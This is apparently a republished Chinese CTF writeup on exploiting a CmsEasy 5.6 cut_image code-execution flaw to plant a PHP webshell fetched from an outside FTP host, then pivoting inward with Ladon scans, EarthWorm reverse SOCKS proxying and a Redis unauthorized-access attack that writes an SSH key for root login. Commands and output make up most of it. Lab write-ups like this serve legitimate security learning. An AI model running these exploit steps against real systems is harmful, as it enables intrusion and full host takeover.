cmseasy&内网渗透 Writeup
阅读原文时间:2021年08月20日阅读:5

某CTF内网渗透

题目:www.whalwl.site:8021

目录


cmseasy

简单看一下网站架构

**Apache/2.4.7 (Ubuntu)

PHP/5.5.9

CmsEasy版本5_6_0_20160825_UTF8**

查找该程序历史漏洞,找到一个高危漏洞 “CmsEasy cut_image 代码执行漏洞

CmsEasy前台无限制GetShell

Getshell的补充说明

POC:

http://www.whalwl.site:8021/index.php?case=tool&act=cut_image
pic=1ftp://221.xxx.xx.xx/payload.php&w=400&h=300&x1=0&x2=400&y1=0&y2=300

点我下载PHP一句话密码a


内网横向渗透

  • 根据flag提示,缺失的第二部分在内网

  • 查看一下内网IP。然后使用Ladon扫描一下内网:

    内网IP:192.168.128.2

  • Ladon扫描C段主机常见开放端口

    给文件加执行权限:

    chmod 777 Ladon64.lnx

    ./Ladon64.lnx 192.168.128.1/24 PortScan >1.txt

    LadonGo 3.8 by k8gege
    Arch: amd64 OS: linux
    Pid: 1540 Process: Ladon64.lnx
    Targe: 192.168.128.1/24

    ScanStart: 2021-08-19 10:06:18
    Load PortScan
    192.168.128.3 22 Open SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u8
    192.168.128.1 22 Open SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.2
    192.168.128.2 80 Open HTTP/1.1 400 Bad Request Date: Thu, 19 Aug 2021 14:06:26 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1
    400 Bad Request

    Bad Request

    Your browser sent a request that this server could not understand.


    Apache/2.4.7 (Ubuntu) Server at 192.168.128.2 Port 80


    192.168.128.3 6379 Open -ERR wrong number of arguments for 'get' command
    Finished: 2021-08-19 10:06:28

发现内网机器192.168.128.3 开放6379端口为Redis服务

  • Redis 未授权访问漏洞

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

  • 我们现在已拿到目标内网一台机器的权限。需要对内网做进一步的渗透,目前我有一台公网的Ubuntu,一台内网的Kali,如何反向Socks5将Kali的流量代理进目标内网

    答案是使用 EarthWorm Frp 等这类软件做反向Socks5代理

我这里使用EarthWorm

在公网的Ubuntu上执行如下命令:

./ew_for_linux64 -s rcsocks -l 10800 -e 10240 &

公网机器监听10800和10240端口

目标机器执行如下命令:

./ew_for_linux64 -s rssocks -d 167.160.188.xx -e 10240

linux通过proxychains设置Socks5代理访问目标内网服务

vi /etc/proxychains.conf

添加:socks5 167.160.188.xx 10800

设置完成后即可使用类似proxychains nmap 192.168.128.1这种方式将nmap的流量代理至目标内网进行扫描,其他命令行工具同理。

windows可以使用Proxifier

现在已经能访问内网机器了,我们就利用Redis 未授权访问漏洞获取目标权限。

Redis未授权访问漏洞复现

Redis未授权访问

安装redis-cli
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/

漏洞利用:

root@kali:~/tmp# ssh-keygen -t rsa
root@kali:~/tmp# cd /root/.ssh/
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
root@kali:~/.ssh# cat /root/.ssh/foo.txt | proxychains redis-cli -h 192.168.128.3 -x set crackit
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-167.160.188.217:10800-<><>-192.168.128.3:6379-<><>-OK
OK
root@kali:~/.ssh# proxychains redis-cli -h 192.168.128.3
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-167.160.188.217:10800-<><>-192.168.128.3:6379-<><>-OK
192.168.128.3:6379> config set dir /root/.ssh/
OK
192.168.128.3:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.128.3:6379> config set dbfilename "authorized_keys"
OK
192.168.128.3:6379> save
OK
192.168.128.3:6379> exit
root@kali:~/.ssh# proxychains ssh -i id_rsa root@192.168.128.3

获取flag

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章